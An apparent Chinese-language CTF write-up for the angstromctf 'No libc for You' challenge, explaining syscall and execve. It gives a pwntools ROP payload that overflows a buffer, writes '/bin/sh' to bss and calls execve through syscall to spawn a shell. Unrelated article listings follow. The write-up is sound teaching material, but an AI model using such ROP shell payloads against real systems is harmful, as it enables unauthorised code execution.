0x00 syscall

syscall函数原型为:
int syscall(int number, ...)
其中number是系统调用号,number后面应顺序接上该系统调用的所有参数.大概意思是当调用syscall函数时,系统会去syscall调用表中寻找对应的系统函数,再把相应的参数赋给要调用的函数,然后执行该函数。 例如:调用read函数
syscall(0,0,buf,8)
- 0 是系统函数read的调用号,相当于执行read(0,buf,8)

详细说明:

Linux系统调用(syscall)原理

linux 系统调用

0x01 execve

execve函数原型
int execve(const char * filename,char * const argv[ ],char * const envp[ ])
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。 例如:执行/bin/sh
execve("/bin/sh",0,0)

详细说明:

execve的使用方法

0x02 No libc for You

1.思路

先将/bin/sh写入bss,再通过syscall调用execve('/bin/sh')获得shell

2.写/bin/sh到bss

#write_bss
payload = "A" * 72
payload += p64(pop_rdi) + p64(bss_addr)
payload += p64(gets_addr)
payload += p64(vuln_addr)
s.sendline(payload)
s.sendline("/bin/sh\0")

3.调用execve('/bin/sh')

# get_shell
payload = "A" * 72
payload += p64(rax_rdx_rbx_ret) + p64(0x3b) + p64(0) + p64(0)
payload += p64(rsi_ret) + p64(0)
payload += p64(pop_rdi) + p64(bss_addr)
payload += p64(syscall)
s.sendline(payload)

0x03 新姿势

1.printf

函数名   :printf
函数原型:int printf (char * format,args,···);
功能:按format指向的格式字符串所规定的格式,将输出表列args的值输出到标准输出设备。
返回值:输出字符的个数,若出错,则返回负数。
说明:format可以是一个字符串,或字符数组的起始地址

2. linux系统调用

Linux系统调用函数列表

LINUX SYSTEM CALL TABLE FOR X86 64

angstromctf -No libc for You的更多相关文章

  1. Clang与libc++abi库安装

    系统ubuntu64位 Clang4.0 参考: 1 https://github.com/yangyangwithgnu/use_vim_as_ide#0.1 其中 第7章 工具链集成 2. htt ...

  2. Linux 升级修改libc gcc 文件名称,导致执行命令失效问题解决

    升级linux文件时,若不小心把文件名给重命名了,结果导致执行所有命令都不识别. 比如我们不小心执行了 mv /lib64/libc.so.6 /lib64/libc.so.6.bak 结果导致所有系 ...

  3. 误删除libc.so.6 恢复

    一.我是怎样一步一步毁掉系统的 最近在centos 7上进行开发.由于需要使用高版本linux内核的特性,需要将linux内核升级.按照教程:centos 7升级内核 进行升级的时候发现在安装elre ...

  4. libc++

    今天测试最新的微信iOS SDK, 仅仅是建了一个空的工程,把sdk加进去运行,就报了以下错误: Undefined symbols for architecture x86_64: "op ...

  5. rpm包安装过程中依赖问题“libc.so.6 is needed by XXX”解决方法

    rpm包安装过程中依赖问题"libc.so.6 is needed by XXX"解决方法 折腾了几天,终于搞定了CentOS上的Canon LBP2900打印机驱动.中间遇到了一 ...

  6. iOS - libc++abi.dylib: terminate_handler unexpectedly threw an exception

    代码出现crash,报错:libc++abi.dylib: terminate_handler unexpectedly threw an exception 当我们很明确是某一块代码执行导致了错误, ...

  7. error while loading shared libraries: /usr/lib64/libc.so.6: invalid ELF header

    在安装一个程序的时候提示libc.so.6过旧,但是查看libc.so的版本是最新的,于是尝试使用尝试软链接  ln -s /usr/lib64/libc.so /usr/lib64/libc.so. ...

  8. CentOS 6.4 编译安装LLVM3.3,Clang和Libc++

    LLVM的最新版本3.3终于在6月17日发布了,按之前的计划6月5日就应该发布了,不过毕竟没有太晚,赶在VS2013 preview(6月26日微软Build大会)之前出来了.加上之前gcc4.8.1 ...

  9. libc.so.6被删后导致系统无法使用的原因及解决方法

    记一次升级glibc库发生的错误 今天给glibc库升级,发生了一件让我吓出一声汗的事情,我把动态库中的libc.so.6给删了,瞬间所有的非系统命令都无法使用,使用就报错 当时就吓尿了,生产环境被我 ...

随机推荐

  1. jquery冲突的关键字nodeName、nodeValue和nodeType!

    原文:http://blog.csdn.net/hdfyq/article/details/52805836 [缘由]在工作流数据库设计的时候,  都节点管理的功能.  结果有2个字段为  NODE_ ...

  2. 百度地图API示例 JS

    http://developer.baidu.com/map/jsdemo.htm#c2_2

  3. [Xcode 实际操作]九、实用进阶-(11)系统本地通知的创建和使用

    目录:[Swift]Xcode实际操作 本文将演示系统本地通知的创建和使用. 在项目导航区,打开视图控制器的代码文件[ViewController.swift] import UIKit //引入需要 ...

  4. web前端篇:JavaScript基础篇(易懂小白上手快)-2

    目录 一.内容回顾: ECMAScript基础语法 1.基本数据类型和引用数据类型 2.条件判断和循环 3.赋值运算符,逻辑运算符 4.字符串的常用方法 5.数组的常用方法 6.对象 7.函数 8.日 ...

  5. 跳跃表&hash

    汇编刚学跳跃表,发现跳跃表与hash有着数不清的关系 维基百科: 哈希表(哈希映射)是实现关联数组抽象数据类型的数据结构,该结构可以将键映射到值.哈希表使用哈希函数来计算桶或槽阵列的索引,从中可以找到 ...

  6. 解决IIS中运行TopJUI左侧菜单不显示的问题

    TopJUI演示系统中,模拟数据保存在.json文件中,目前发现有部分用户的IIS容器默认情况下是不支持.json文件的请求的,因此需要配置一下,可参考下文配置解决: 一.IIS 6 1. MIME设 ...

  7. Python type class metaclass

    'type' 是 python built-in metaclass 其他继承自 ‘type’的class都可以是 Metaclass 子类可以继承父类的metaclass 然而 __metaclas ...

  8. axios 访问和返回拦截,token处理,返回异常统一处理

    在axios文件夹中,index.js添加拦截 访问拦截: import store from '../store' axios.interceptors.request.use( config =& ...

  9. 牛客网Java刷题知识点之什么是迭代器

    不多说,直接上干货! https://www.nowcoder.com/ta/review-java/review?query=&asc=true&order=&page=20 ...

  10. css3のtext-shadow

    text-shadow,让我们大家一起来学习一下吧. 语法: text-shadow:none | <shadow> [ , <shadow> ]* <shadow> ...